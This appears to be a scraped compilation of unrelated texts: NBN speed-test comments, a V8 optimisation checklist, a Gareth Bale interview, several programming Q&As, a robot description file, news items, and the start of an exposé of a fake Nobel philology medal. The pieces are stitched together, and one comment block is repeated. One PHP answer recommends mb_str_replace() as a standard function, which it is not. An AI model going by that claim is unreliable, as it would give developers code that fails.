Summary: It would be great if you could follow this article up with a well researched piece about how this is a normal and reasonable performance expectation on the NBN when all normal Ethernet framing, PPP framing, IP header overhead and TCP header overheads are factored into normal data transfers. Customer expectations are important to properly manage – and framing the 100M NBN as somehow being deficient in delivering only a 5% aggregate framing overhead in total (compared to a demonstrated overall 15% or so overhead in ADSL networks) seems highly unfair in terms of how it paints the NBN.
Think how differently you could have painted this, if you had said, for instance:
“NBN proven to be far more efficient than ADSL networks, and with dramatically lower latency to boot!”
I don’t think this was unexpected … as I noted in the article: “While this sort of theoretical limit on NBN speeds isn’t really unexpected”. I also don’t think it’s a political issue or anything like that. I just think it’s interesting to see what the NBN can do in real-world conditions :)
I’m aware of network overheads and the different layers of the network stack etc. However, so far discussion about these haven’t been part of the discussion about overall NBN speeds. This article was an attempt to tease some of that out, as has happened in the comments. I’m quite happy that it has :)
I wasn’t trolling, and I find your comment that I may be “undermining” myself as a tech journo impolite. I was reporting and commenting on an interesting aspect of the NBN’s performance, which I think is a valid thing to do :)
“However, despite the pricing uncertainty, Exetel will send out invitation emails to its customers in early stage NBN rollout zones in NSW and Victoria, offering them a free NBN fibre plan install with no charges for using it until September 30th this year. The Exetel trial will allow customers to keep their existing ADSL service and use both the ADSL and the new fibre network side by side, while continuing to pay only for the ADSL service.
“On or before 30th September they select which service they would like to keep,” wrote Linton. “If they don’t want to continue with the fibre service then they are not charged for it to be removed and they simply go back to using their ADSL service at their contracted price per month.”
please note I have received the following comment from NBN Co on this matter:
“NBN Co is building a network designed to achieve downlink speeds of up to 100Mbps at the wholesale Layer 2 (Ethernet) level. Most speed tests operate at the Layer 3 (Internet Protocol) level and the extra packet overhead will typically result in lower measurement speeds (depending on the type of traffic). We point out that the speeds actually experienced by end-users will depend on a number of factors including, in part, protocol factors, the retail broadband plan they choose, their ISP’s network capacity, the number of simultaneous users on the service, the server’s equipment and configuration, their equipment and their in-premises connection.”
Who are these idiots who write these articles, please guys go and ask a TAFE student studying their CCNA and they will be able to help you write an accurate, non biased article….hang on, I was assuming you were trying to be fair and reasonable….my mistake.
100mb Ethernet will NEVER achieve 100meg/sec. As a lot of the above posters have noted, there are so many factors. I’d wager that even on a LAN between 2 PCs you will never achieve 100/sec with 10/100 Nics.
The reality is that most of the content is in the USA and the Round Trip times mean that a protocol like TCP will never achieve anything like 100/sec. You just cannot make light travel faster than it already does.
TCP was designed to be a reliable, connection oriented protocol, and it was put together years ago. TCP Windowing goes some of the way to help, but the reality is that as soon as you loose 1 packet you take a 50% performance hit immediately.
Very interesting re Bob @ Midway Point. If that’s true, it shows the potential difference the right CPE can make. 7Mbps isn’t something to laugh at in terms of a difference between peak speeds. That’s half of what most of us are getting on ADSL total right now.
Yes, there are good CPE and bad CPE. But this conversation has *nothing* to do with CPE.
The take-away message here is the speedtest.net is inaccurate. There is no possible way that he actually achieved 102Mbps.
There was a Today Tonight episode that showed Bob’s Cisco 881 router. It has 100Mbps ethernet ports – both on uplink and downlink. Also, clearly, based on lots of test results and NBN’s own tested specifications, they do 100Mbps of ethernet, not 100Mbps of IP traffic.
NBN do not over provision. I’ve tested that in multiple NBN areas and they simply do not.
Yes, there are good CPE and bad CPE. But this conversation has *nothing* to do with CPE.
The take-away message here is the speedtest.net is inaccurate. There is no possible way that he actually achieved 102Mbps.
There was a Today Tonight episode that showed Bob’s Cisco 881 router. It has 100Mbps ethernet ports – both on uplink and downlink. Also, clearly, based on lots of test results and NBN’s own tested specifications, they do 100Mbps of ethernet, not 100Mbps of IP traffic.
NBN do not over provision. I’ve tested that in multiple NBN areas and they simply do not.
So not only do you not provide info in regards to all the issues of benchmarking (header overheads, consumer equipment, dropped packets etc), which is somewhat understandable, you also forget to actually provide some adsl2+ numbers for analysis. (E.g. my 24Mbps connection currently syncs at 14Mbps yet speedtest just said I had 12.5Mbps).
However my biggest concern, was that you did not make clear that 100Mbps is /NOT/ the top offering by NBNco! NBNco have quite clearly outlined plans up to 1Gbps in their documentation. So any such nonsense about ’95 Mbps may be NBN’s real world limit’ is clearly garbage.
So yeah, if your going to step into a volatile debate, and make strong claims without doing much research your going to get some flack. I don’t think you did it intentionally, but hope you would seriously reconsider writing something like this again without more info, or a big disclaimer.
So this is what happens when journalists with no technical background comment on technical matters. Next time you feel like writing an article about something you dont understand, do some goddamn research.
I don’t disagree with the basis of the article, but the headline looks like it has been generated by something The Australian would use. We all know that there are certain segments of Australian political/media circles who are trying to sink the NBN and you are doing the job for them!
It doesn’t matter than the technical details about overhead etc. are in the article itself – the people mentioned above doesn’t understand and doesn’t care.
Another thing to note is in the Ethernet specification the is a requirement for a minimum idle time between the transmission of each Ethernet frame and this eats in to your usable bandwidth. The spec is set at 96 bit times, which works out to be roughly 12 bytes for Fast Ethernet IIRC
OMG. One needs to learn Networking 101 before they can make such opinions.
As has been mentioned several times. There is a reason that only 95mbps was achieved. This is not due to over subscription it is due to the way networks are built. More specifically, this is a fundamental element of IP networking.
Every packet sent on the wire is constructed of 3 parts.
|Ethernet MAC|-|IP header|-|Data payload|
As you can see, there are 3 parts to a packet (I am grossly simplifying this)
The MAC portal takes a bit of data, the IP portion also takes a bit and lastly, the Data portion is the user data.
ALL speed test programs out there measure speed based upon how fast they receive the “DATA” portion.
Given that they do not measure how fast the entire packet including MAC and IP header is being received at, you are actually only ever going to get a slightly less speed than the link speed.
If you want a practical demonstration, download IPerf and perform a test between two workstations/computers on the same network switch and you will find that you will only achieve at maximum 95mbps (or around there)….In fact Windows is sooo badly built that most tests with IPerf will result in measurements of around 80mbps.
This is all because the operating system performs packet de-encapsulation (strips away the MAC and IP portion of the packet) before it gives it to the application. As such, you may see 100mbps of traffic entering your computer, but the program will only ever report something less than that.
The only way to test true speed of the link is to use very very expensive Layer 2 or even Layer 1 equipment. This stuff from companies like Fluke will actually measure the speed at which the ones and zeros appear on the interface. It doesn’t measure how fast the data come in. It actually measures the everything up to and including the all headers in the packet (mac and ip headers)
If you are accessing the NBN with a router that only supports 100Mbps ethernet, of course you are not going to pull 100Mbps from the net! There are LAN overheads as well. On a router that supports 1000Mbps ethernet then you shouldnt have any problems at all.
Comments are closed.
Book now available
Written by Delimiter Publisher Renai LeMay, The Frustrated State is the first in-depth book examining of how Australia’s political sector is systematically mismanaging technological change and crushing hopes that our nation will ever take its rightful place globally as a digital powerhouse and home of innovation.
Welcome! We were an energetic and engaged community of Australians who worked with or who were interested in technology -- all sorts of IT professionals, IT managers, CIOs, tech policy-makers and tech enthusiasts. |
Categorical signals in a single-trial neuron activity of the inferotemporal cortex.
We developed an algorithm that decodes categorical signals from the single-trial activity of a neuronal population in the monkey inferotemporal cortex. We defined a global category (i.e. human faces vs. monkey faces vs. shape) and fine categories (i.e. human identity, monkey expression, and shape form) from the single-trial activity. The accuracy of estimation for the trials was roughly 100% for the global category and 88.1% for the fine categories. The accuracy of stimulus identification for the trials was 70.4%. These results suggest that signals concerning global and fine categories as well as object identification can be decoded using the single-trial activity of a neuronal population in the inferotemporal cortex. |
Samurais had something called bushidō, way of the warrior, code of conduct they had to follow. In similar manner you have to follow certain opt-dō if you want to optimize your application. I have tried to sketch such a path in my nodecamp.eu talk "Understanding V8" and +Daniel Clifford tried to do the same in "V8 Performance Tuning Tricks" talk on GDD11 in Berlin. But not everybody has seen those talks and the question keeps coming back again. So I decided to write down a quick check list for developers who want to optimize their apps. tl;dr version of my checklist is: "Understand before you act".
Understanding V8 and beyond [talks and posts]
I am maintaining a list of V8 related resources. See it here
Do you understand what the application is trying to do and how?
The more you understand about your app the better you can optimize it. Sometimes a tricky algorithm or a cache placed in right place will yield more improvements than any local tweaking. Understanding your application in large is a very difficult problem which requires special tooling and discipline. I highly recommend to read @coda's Metrics Metrics Everywhere talk if you want to get a glimpse of that world. Sometimes it is possible to split big application into pieces and optimize them separately but there is no guarantee that overall gain will not be lost when those pieces are connected back together.
Did you profile your application with built in statistical profiler?
Profiling helps to discover obvious hot spots. Don't waste time rewriting places that occupy 0.0001% of running time. Concentrate your efforts on those that are high on the profile. If you are using V8's tick processors keep in mind that LazyCompile: prefix does not mean that this time was spent in compiler, it just means that the function itself was compiled lazily. Statistical profiler is not the most accurate tool in the world and might miss overheads that are finely spread across execution (as sampling interval is 2ms). Tools like dtrace, perf, Instruments, VTune might provide a more fine grained picture but they do not necessarily have support for JITed code (see below).
JavaScript function is high on the profile
Ensure that this function is optimized and Crankshaft friendly. V8's tick processing scripts mark optimized functions with * (asterisk) and non-optimized with ~ (tilda). You can also use --trace-opt --trace-deopt flags to see what Crankshaft does with your program. Deoptimizations happen when assumptions made by the compiler does not match program's runtime behavior, bailouts happens when compiler can't compile the function with optimizations for some reason. [note that in V8 prior to version 3.13.4 you'll need to supply --trace-bailout to see optimizing compiler bailouts] If you want to understand ideas behind V8 optimization pipeline I recommend to start by reading Andy Wingo's A Tale of Two Compilers post.
In general it's a good idea to know more about modern JavaScript VMs, especially their strengths and weaknesses. I recommend going through David Mandelin's talk Know Your Engines. This talk stresses a very important aspect of modern JS performance: fastest application is the one that is essentially statically typed in it's nature.
Modern JavaScript VMs try to grasp "static" structure hidden inside dynamic JS code by utilizing hidden classes and inline caches. Take a look at my slide deck to get a basic understanding of how those hidden classes are built and used.
For V8 it is also important to check how you store floating point numbers (and integers that exceed 31-bit range in case of ia32 version of v8) and use WebGL typed arrays if appropriate. These days V8 tries to adapt generic arrays' storage to the data you store in them, but understanding whether those optimizations kicked in or not might be difficult; thus I just recommend using typed arrays.
GC is high on the profile
Try to understand what your are allocating and (more important) what survives several GCs. The worst kind of object is the one that survives a couple of partial (aka scavenge) collections and then gets thrown away. This kind of workload is the most stressful for GC because it has to copy young objects around constantly. Objects that live long are less stressful (but you have to keep in mind that GC cost is proportional to the number of live objects). The best kind of object is the one that dies shortly after it's allocation. You can use --trace-gc to see GC pauses and you can use built in heap snapshots to figure out what takes space in your heap. [it might be hard or impossible to capture "middle-aged" garbage with heap snapshots because V8 does full garbage collection before taking snapshot thus effectively killing all such garbage].
JS natives are high on the profile
When I say _natives_ I mean built in methods of String / Number / Boolean / RegExp / JSON and global functions like parseInt etc. Here you can't optimize anything directly but you can try to figure out two things:
Try calling them less by changing your algorithms and/or fusing them into it. Some of those methods are very generic (e.g. forEach). Some can be fused with your functions (e.g. you have to parse integer contained in some stream: you can either build a temporary string character by character and pass it to parseInt or you can fuse parsing and reading from a stream; later is better)
Some of those methods are very generic (e.g. forEach). Some can be fused with your functions (e.g. you have to parse integer contained in some stream: you can either build a temporary string character by character and pass it to parseInt or you can fuse parsing and reading from a stream; later is better) Is there some obvious performance problem with them? V8's implementation of the native method can be suboptimal. If you see a bug (or you suspect that it can be improved) please file a bug or write a question to v8-users mailing list.
Some strange V8 internals are high on the profile
In this case you can either read V8's source or send a question to v8-users list.
A lot of time is spent in your C++ code
Sorry this is out of scope. Consult C++ optimization guides :-)
Do you feel that V8's statistical profiler misses hotspot?
Your best bet then is either hardware counters based tool like Linux perf for which V8 has support (see v8/tools/ll_prof.py --help for more details) or trying to spot anomalies by some sort of software counters based profiling. V8 has it's own simple software counters subsystem (try passing --native-code-counters --dump-counters to d8 shell).
Do you want to go deeper?
If you feel that generated code is slow and you can improve it you should definitely check it out using flags --print-code --code-comments . You can also dump IR used by optimizing compiler with --trace-hydrogen . IR will be written into hydrogen.cfg file that can be viewed by C1 Visualizer.
Are you still lost?
Drop a line to me or better to v8-users mailing list. Try your best to provide as much context as possible (a standalone JS benchmark is the best way). It's nearly impossible to diagnose performance problems based on vague descriptions of what you are trying to achieve and how slow it runs.
There is something to be learned from a rainstorm. When meeting with a sudden shower, you try not to get wet and run quickly along the road. But doing such things as passing under the eaves of houses, you still get wet. When you are resolved from the beginning, you will not be perplexed, though you still get the same soaking
— Hagakure by Yamamoto Tsunetomo.
Similarly you have to be resolved from the beginning when you want to optimize your app. Randomly tweaking things in panic here and there does not help.
Understand before you act. |
There is a moment, as Gareth Bale leans against the wall and the photographer zooms in, that it becomes clear the most formidable left-sided player in the Premier League does have one small vulnerability. "Spiders," he explains. "They terrify me." He has seen a cobweb, too close for comfort, and there is a look of horror that feels a long way from the calm, supremely gifted athlete we are used to seeing on the football pitch.
He has been good company and though the wall has to be swept clean on his behalf, nobody could ever categorise Bale as one of football's divas. He might be one of the A-listers these days, but he also comes across as remarkably grounded considering the rare qualities – the running power, the ability to sprint full-pelt with the ball under control, and that firecracker of a left foot – that make him such a formidable asset for Tottenham Hotspur, coveted by all the top European clubs.
Playing abroad does appeal: "I'd never be scared of it. It's something I'd like to experience. It's in the future but if something did come up I would obviously look at it with interest." Yet Bale can say that now without fear of it being misconstrued given that he signed a new four-year contract at the end of June. Indeed, the firm impression, from an afternoon in his company, is of someone who is perfectly happy at White Hart Lane, buying into the long-term strategy of the chairman, Daniel Levy, and convinced the new-look Spurs can flourish if they are afforded a little patience.
Bale's new deal certainly represents a huge declaration of faith bearing in mind the club did not even have a manager in place at the time, coming in that three-week period between Harry Redknapp's sacking and the appointment of André Villas-Boas.
Did he ever consider leaving? "No," Bale replies matter-of-factly. "The manager situation wasn't really my worry either. It was more a case of whether the club wanted to go forward and be ambitious. I spoke to the chairman – he talked to me privately – and he told me about his plans and what he wanted to bring to Tottenham. It was exciting. We're going in the right direction. We've made some great signings. We've got a new training ground, we're planning a new stadium. It's all looking bright."
His early impressions of Villas-Boas are positive. "He's very approachable. If there is a problem, or something we feel is not right, his door is open. He wants us to work that way: together, the players and staff, and if there is a problem we can always share our ideas with him and he will take it on board.
"For example, if we feel we are working too hard in training, if we say that to him, then he'll ease it off. He's still learning as well as a manager but he does all the coaching and everything himself, which is great. Every manager is different and he has his own ways of working. Sometimes it just takes a little bit of time."
It has, after all, been a summer of considerable upheaval at White Hart Lane and it cannot have been easy, for example, when a player with Luka Modric's influence and talent is lost. Rafael van der Vaart, too.
Spurs began the season with only one senior striker, Jermain Defoe, and did not win any of their first three league games. The scrutiny on Villas-Boas has been intense at times – too much so, for Bale's liking.
"It's crazy, to be honest," he says when asked whether football can be too impatient sometimes. "There seems to be this thing in football where everything has to be ... now! But look at the amount of changes we have had. Everything. The new manager coming in, a new training ground, a new formation, new players, getting used to different types of training. It does take time to adapt."
Bale has seen "progression in every game" ahead of Saturday's match at Manchester United. Spurs head to Old Trafford after back-to-back league wins over Reading and QPR and Bale is encouraged by the early impact of the new signings, in particular Mousa Dembélé: "Everybody saw what Mousa can do at Fulham. He's a great signing, a great player, he's proved it at Fulham and can do even better at Tottenham. Dembélé playing in central midfield instead of Modric … I think he's capable of filling Luka's boots and more, to be honest."
Bale was moved to left-back against QPR last week in the absence of the injured Benoît Assou-Ekotto – but only briefly. Tottenham, to put it bluntly, missed him too much in attack and Villas-Boas changed things back at half-time, turning a 1‑0 deficit into a 2‑1 win.
The new manager is operating a 4‑2‑3‑1 formation that includes a modified role for his most penetrative player. "It's a new formation," Bale explains. "I'm still on the left, attacking, but I have a bit more freedom now to come inside and mix my game up. Instead of being in just one section the idea is to confuse defences, make space, try to cause some different problems. It's one of the things we've been working on since pre-season.
"A lot of old-fashioned wingers will just be stuck out on the wing and these days the other team stick a full-back on you, the winger drops back and one of the central midfielders comes over. Once people find out what you're good at on the wing, they try to stop you. In some games I've faced two right-backs: one playing right-back and one right-wing. They double up. It's hard to get the ball, hard to get the space and you can be marked out of the game.
"The idea now is that if I mix my game up, come inside, they can't all follow you as they have to stay in shape. It gives me a bit more freedom and a bit more licence to get on the ball and do damage in other parts of the field. If you've got a plan B, they're not expecting it and the right-back can't follow you to the left-back spot."
This comes a few minutes after Bale states that the opponent who tends to give him his hardest game is the one, curiously enough, Roy Hodgson and previously Fabio Capello do not rate highly enough to play for England. "Micah Richards … I always have a tough battle with him when we play Manchester City. I'm massively surprised he can't get in the England team. He's strong, quick, bombing up and down the line, causing all sorts of problems."
A similar description could be applied to Bale, one of the players who features prominently in Sir Alex Ferguson's list of those-who-got-away.
United, Bale recollects, were "definitely interested" before Spurs snapped up the then 17-year-old from Southampton for what now looks like a steal, an initial £5m rising to £10m.
Five years on, Bale has changed his shirt from No3 to No11 this season, symbolising his preferred role in the team, and seems determined to show it is possible to be both a superstar and still grounded enough to consider himself "a normal lad" with no intention of his "head blowing up". This is not someone who will ever be snapped falling out of a nightclub.
Bale doesn't drink for a start. A relative gave him a glass of champagne one year and he just didn't like the taste. Away from football, he explains, he tends not to mix with celebrities and London's glitterati but his old mates from Whitchurch high school in Cardiff, where he was timed as a 13-year-old running 100m at 13.4sec and where he was so freakishly good at football the PE teachers tried to make it fair on everyone else by banning him from using his left foot.
This interview is also his chance to clear up what happened in the summer when he missed the Olympics because of a back injury but was fit enough to play for Tottenham, on their pre-season tour of the United States, at the same time.
"For me, it was simple," Bale says. "I had a problem with my back. I knew I was in the mix for the Olympics squad so I was trying to get myself fit but when I was running, my back was still sore. I spoke to the Olympics medical team, went for a scan, and it showed a problem.
"I just wasn't expecting to recover that quickly. The rehab went very well. I played just as the Olympics was starting and it obviously created a bit of a stir but, for me, I didn't do anything wrong. It was all dealt with professionally and the fact is I never actually pulled out – it was a decision made by both medical teams.
"It was a bit of a coincidence that I came back at pretty much the same time but people really blew it out of proportion. I knew the truth and they, the Olympics team, knew the real truth."
Remembering the controversy, the mind also goes back to the injury Bale suffered on tour, this time inflicted by Charlie Adam, then of Liverpool. The same player also injured Bale last season and while there is no appetite to prolong the argument, the recipient of Adam's studs does point out that he has never received an apology. "Not the second time, or the first. He doesn't like me very much, I don't know why."
All of which feels a long way from the playground at Worcesters primary school in Enfield as a £50m-rated player takes a group of enthusiastic year-three pupils through their paces. Bale is here as part of the considerable community work Tottenham put in behind the scenes in Enfield and other areas of north London. Footballer, role model, spokesman.
"People tend to laugh when you talk about Tottenham winning the league but at the same time there were people talking about it genuinely last season," he says. "That itself is a step in the right direction. We were up there, three points off the lead until we hit a bad patch. I'm ambitious, I want to play in the Champions League and that's the aim with Tottenham – to start qualifying for the Champions League on a consistent basis." Real Madrid, Milan, Barcelona – anyone else for that matter — can wait.
Gareth Bale was speaking at an appearance at Worcesters Pprimary Scschool in support of Tottenham Hotspur Foundation's work in Enfield. |
Q:
Algolia in Azure
I am using firebase for my android application and am performing full text search using Algolia which is suggested by all the blogs. I have successfully developed the script and its functioning properly. Now I want to host the script to run 24* 7. As I have an azure account , how do I go about uploading the script ? I have tried uploading the following as a function , web app but have been unsuccessful .
PS:- I have tried Heroku but wasn't satisfied.
The Script.
var http = require('http');
var port = process.env.port || 1337;
http.createServer(function (req, res) {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Hello World\n');
}).listen(port);
var dotenv = require('dotenv');
var firebaseAdmin = require("firebase-admin");
var algoliasearch = require('algoliasearch');
var algoliasearchHelper = require('algoliasearch-helper');
// load values from the .env file in this directory into process.env
dotenv.load();
// configure firebase
var serviceAccount = require("./serviceAccountKey.json");
firebaseAdmin.initializeApp({
credential: firebaseAdmin.credential.cert(serviceAccount),
databaseURL: process.env.FIREBASE_DATABASE_URL
});
var database = firebaseAdmin.database();
// configure algolia
var algolia = algoliasearch(process.env.ALGOLIA_APP_ID, process.env.ALGOLIA_API_KEY);
var index = algolia.initIndex('books');
var contactsRef = database.ref("/BookFair");
contactsRef.on('child_added', addOrUpdateIndexRecord);
contactsRef.on('child_changed', addOrUpdateIndexRecord);
contactsRef.on('child_removed', deleteIndexRecord);
function addOrUpdateIndexRecord(dataSnapshot) {
// Get Firebase object
var firebaseObject = dataSnapshot.val();
// Specify Algolia's objectID using the Firebase object key
firebaseObject.objectID = dataSnapshot.key;
// Add or update object
index.saveObject(firebaseObject, function(err, content) {
if (err) {
throw err;
}
console.log('Firebase object indexed in Algolia', firebaseObject.objectID);
});
}
function deleteIndexRecord(dataSnapshot) {
// Get Algolia's objectID from the Firebase object key
var objectID = dataSnapshot.key;
// Remove the object from Algolia
index.deleteObject(objectID, function(err, content) {
if (err) {
throw err;
}
console.log('Firebase object deleted from Algolia', objectID);
});
}
var queries = database.ref("/queries");
queries.on('child_added', addOrUpdateIndexRecordN);
function addOrUpdateIndexRecordN(dataSnapshot) {
// Get Firebase object
var firebaseObject = dataSnapshot.val();
// Specify Algolia's objectID using the Firebase object key
firebaseObject.objectID = dataSnapshot.key;
// Add or update object
var collegeName = "";
var query_ID_LOLWA= "";
var year="";
var query = "";
var counter = 0;
for(var i in firebaseObject){
var c = firebaseObject.charAt(i);
if(c=='/'){
counter = counter + 1;
continue;
}
else{
if(counter==2)
collegeName = collegeName + c;
else if(counter == 3)
year = year+c;
else if(counter == 1)
query_ID_LOLWA = query_ID_LOLWA + c;
else
query = query +c;
}
}
console.log(collegeName);
console.log(year);
console.log(query_ID_LOLWA);
console.log(query);
const query_final = query_ID_LOLWA;
var helper = algoliasearchHelper(algoliasearch("****", "****"), 'books', {
facets: ['collegeName', 'year','priority']});
helper.on('result', function(data,query_ID_LOLWA){
data.getFacetValues('priority',{sortBy: ['count:desc']});
console.log(data.hits);
var path_query = "/queries_answers/"+query_final;
path_query = path_query.toString();
console.log(path_query);
if(data.hits.length==0){
console.log("No results");
database.ref(path_query).push(-1);
}
else if(data.hits.length>1){
var ID = 1;
var counter = -1;
var length = data.hits.length-1;
for(var h in data.hits){
counter = counter + 1;
if( (counter%5 == 0) && (counter != 0)){
ID = ID + 1;
}
database.ref(path_query+"/"+ID).push(data.hits[h].uuid);
}
database.ref(path_query+"/totalResults").push(data.hits.length);
}
else{
database.ref(path_query+"/totalResults").push(data.hits.length);
for(var h in data.hits)
database.ref(path_query+"/1").push(data.hits[h].uuid);
}
});
helper.addFacetRefinement('collegeName', collegeName);
helper.addFacetRefinement('year',year);
helper.setQuery(query);
helper.search();
/*index.search(firebaseObject, function(err, content) {
if (err) {
console.error(err);
return;
}
console.log(content.hits);
for (var h in content.hits) {
console.log('Hit(' + content.hits[h].objectID + '): ' + content.hits[h].uuid);
}
database.ref("/query_result").push(content.hits);
});*/
}
A:
Without more details than but have been unsuccessful, the only advice one could give you is to follow the usual steps to get a time-based Azure function deployed.
The simplest way is to use the Azure Portal:
Login to your Microsoft Azure account
Create a Function App to host your function
Add a Timer-triggered Function
Select the TimerTrigger-Javascript template to get started
At this point, you'll have a function that runs every minute. You can check the logs to confirm it is working.
You now want to configure its frequency:
Update the function's Timer Schedule (in the Integrate tab) to set how frequently the function should run
Finally, replace the template's code with your own.
You can find a detailed tutorial here with explanations on how to achieve each of these steps.
|
<robot name="blob482">
<link name="random_obj_482">
<contact>
<lateral_friction value="1.0"/>
<rolling_friction value="0.0"/>
<inertia_scaling value="3.0"/>
<contact_cfm value="0.0"/>
<contact_erp value="1.0"/>
</contact>
<inertial>
<origin rpy="0 0 0" xyz="0 0 0"/>
<mass value="0.1"/>
<inertia ixx="1" ixy="0" ixz="0" iyy="1" iyz="0" izz="0"/>
</inertial>
<visual>
<origin rpy="0 0 0" xyz="0 0 0"/>
<geometry>
<mesh filename="482.obj" scale="0.015 0.015 0.015"/>
</geometry>
<material name="blockmat">
<color rgba="0.46 0.08 0.42 1"/>
</material>
</visual>
<collision>
<origin rpy="0 0 0" xyz="0 0 0"/>
<geometry>
<mesh filename="482.obj" scale="0.015 0.015 0.015"/>
</geometry>
</collision>
</link>
</robot>
|
Q:
text parsing in php
In my project I get back a name of a person through a php response. And I store that name in a variable.
So the name could be like James Smith or Sakhu Ali Khan or anything else.
I want to replace the spaces between the names with "."
Suppose I get the James Smith and I will save it in $userName
Now I want to parse $userName and then replace the spaces with "." so my
$parsedUserName == James.Smith
Can anyone tell me how to do this in php. I am not very much familiar with text parsing.
Best
Zeeshan
A:
You can use the str_replace() function to do this:
$parsedUserName = str_replace(' ', '.', $userName);
If you're using UTF-8 or another multibyte character set then you should use mb_str_replace() instead.
$parsedUserName = mb_str_replace(' ', '.', $userName);
|
'Lucky to Be Alive,' Says Woman Who Claimed to See Escaped Murderers After New York Prison Break New York State is offering $100,000 reward for the capture of prisoners.
-- Two residents in the upstate New York town where a pair of convicted murderers escaped said they're "lucky to be alive" after spotting what they say were the fugitives a short time after they made their getaway.
"Lucky to be alive, man," the woman told ABC News today.
The man and his friend were returning home around 12:30 a.m. when they spotted two men, who they say are fugitives Richard Matt and David Sweat, in their backyard with what appeared to be a guitar case.
When he confronted them at the home, which was near the manhole that the prisoners used to escape, one of the men responded "We're just lost. We don't know where we are. We're on the wrong street," according to the witness.
After that, they took off running, said the witness, whose name is being withheld due to safety concerns.
Later that morning, they reported what they saw to police, who started their search in the backyard. Police dogs were able to follow the trail but did not get far.
The account came as a prison worker was questioned by police and removed from her post amid the investigation, a source close to the investigation told ABC News.
Matt and Sweat remain on the run after escaping Saturday from Clinton Correctional Facility in Dannemora, about 20 miles south of the Canadian border.
New York State is offering a $100,000 reward for information leading to their apprehension and arrest, a step that Gov. Andrew Cuomo called “appropriate.”
"These are dangerous men," Cuomo said, adding that they are "capable of committing grave crimes once again."
News of the unidentified worker being questioned in the prisoners’ escape was first reported by the New York Post.
Sweat, 34, is serving a life sentence after he was convicted of killing a Broome County sheriff's deputy in 2002. Matt, 48, is serving 25 years to life in prison after he kidnapped and beat a man to death in 1997.
"These are killers. They are murderers," Cuomo said. "There's never been a question about the crimes they committed. They are now on the loose, and our first order of business is apprehending them."
Speaking to ABC News Sunday, Cuomo said what troubled him most about the escape was that the two men needed power tools to pull it off, and there was no way they could have done it in total secrecy.
"They had to be heard," he said.
The governor, who toured the prison Saturday, described the escaped convicts as "resourceful" and "dangerous."
"This was the first breakout since 1865 and I want to make sure that it's the last," Cuomo said, referring to the year the prison was built.
The escapees left a note behind that read "have a nice day." Cuomo said he suspects it was their way of saying they were doing something that had never been done before.
"I'm sure they knew that since it was the first escape it was going to be a big deal," he said. "But we'll get them back and we'll give them the note back."
Editor’s Note: The story has been updated to reflect that the resident quoted in the piece who wished to remain anonymous is a woman. |
Lightning broke a finger off the right hand of Christ the Redeemer statue in Rio de Janeiro, Father Omar, rector of the shrine that holds the statue, confirmed Friday.
Father Omar told the radio station Globo that lightning frequently strikes the 30-meter-high statue, a symbol of Rio that overlooks the Brazilian city from the peak of the 700-meter Corcovado mountain. Its right hand had been damaged some time ago, but the finger finally broke off in a storm late Thursday.
"They say lightning does not strike the same spot twice. But with the Christ it does," the priest said with a smile.
A lightning rod and other equipment are in place "to protect the image," but they do not always do the trick, he said.
Father Omar noted that people who work at the site are usually warned in advance by city officials about electrical storms so they can ensure the safety of the thousands of visitors at the site atop Corcovado Mountain.
"I have already endured the situation of being at the Christ at a time of rain and a lot of lightning, and it is scary. But we have a plan to quickly take all visitors away from there," the priest said.
The statue is set to be refurbished next month, when the thumb and other damage will be fixed. |
Q:
HtmlAgilityPack - How to get the tag by Id?
I have a task to do. I need to retrieve the a tag or href of a specific id (the id is based from the user input).
Example I have a html like this
<manifest>
<item href="Text/Cover.xhtml" id="Cov" media-type="application/xhtml+xml" />
<item href="Text/Back.xhtml" id="Back" media-type="application/xhtml+xml" />
</manifest>
I already have this code. Please, help me. Thank you
HtmlAgilityPack.HtmlDocument document2 = new
HtmlAgilityPack.HtmlDocument();
document2.Load(@"C:\try.html");
HtmlNode[] nodes = document2.DocumentNode.SelectNodes("//manifest").ToArray();
foreach (HtmlNode item in nodes)
{
Console.WriteLine(item.InnerHtml);
}
A:
If I understand correctly then:
HtmlAgilityPack.HtmlDocument document2 = new HtmlAgilityPack.HtmlDocument();
document2.Load(@"C:\try.html");
string tag = document2.GetElementbyId("yourid").Name;
string href = document2.GetElementbyId("yourid").GetAttributeValue("href", "");
A:
You can use the following XPath to find item element by its id attribute value :
var id = "Back";
var query = $"//manifest/item[@id='{id}']";
HtmlNode node = document2.DocumentNode.SelectSingleNode(query);
string href = node.GetAttributeValue("href", "");
|
#
# (C) Copyright 2000, 2001, 2002
# Wolfgang Denk, DENX Software Engineering, wd@denx.de.
#
# SPDX-License-Identifier: GPL-2.0+
#
obj-y := pandora.o
|
The Fake Nobel that Duped the Romanian Academy
Editorii recomandă
Romanian Academy member Eugen Simion recently received the „Nobel Medal for Philology”, which was also allegedly awarded in previous years to cultural VIPs such as Umberto Eco and Noam Chomsky. Even though no one had heard of the institution that was awarding the medal, nor of the distinction itself, a large part of the local media extolled the achievement: we’d finally nabbed a Nobel prize! Our team went searching for the International Society of Philology and spiralled down a rabbit hole of lies, false information, and distorsions. At the bottom of it, we discovered a ruse for scientists, planned out by a Frenchman with a passion for Jules Verne and vampires. Two Romanian MEPs fell for it and are preparing a ceremony for awarding the fake medal this spring, at the Seat of the European Parliament in Strasbourg.
Last December, professor Eugen Simon, director of the Institute for Literary Theory and History „George Călinescu” with the Romanian Academy, former president of the Academy itself for nearly a decade, was notified that he had won the “Gold Medal for Philology Alfred Nobel, the Nobel Prize for Philology”. Simion (85) has authored numerous books and articles on literary criticism and has also coordinated some major editorial projects of the Romanian Academy, amongst which The General Dictionary of Romanian Literature, the complete series of facsimilies of national poet Mihai Eminescu’s manuscripts and the Pléiade-type collection Fundamental Works, which has seen the publication of over 250 titles.
The one-page document he received, written in French and not exactly impeccable English, briefly runs through the history of the Gold Medal for Philology and informs the Academy member that he will receive the accolades at the Seat of the European Parliament in spring 2019. It concludes by congratulating Romania.
Romania received the news with glee and relief: a Romanian was finally receiving the “Nobel” prize! Most of the press published the release sent by the Romanian Academy without any fact checking, while several literary critics and historians shared it as well. According to the release, “the idea of creating a special prize for grammar or literature analysis critics and scholars was born in 1927, when French philosopher Henri Bergson received the Nobel Prize for Literature, despite the fact that he was neither a poet, nor a novelist. Thus, it was decided that every five years the International Society of Philology would award a Gold Medal of Philology in memory of Alfred Nobel, modeled after the Fields Medal for Mathematics”.
The press review, following the release on Eugen Simion’s “Nobel” sent by the Romanian Academy
How some of the most important Romanian literary critics and historians reacted to the news of the “Nobel” win
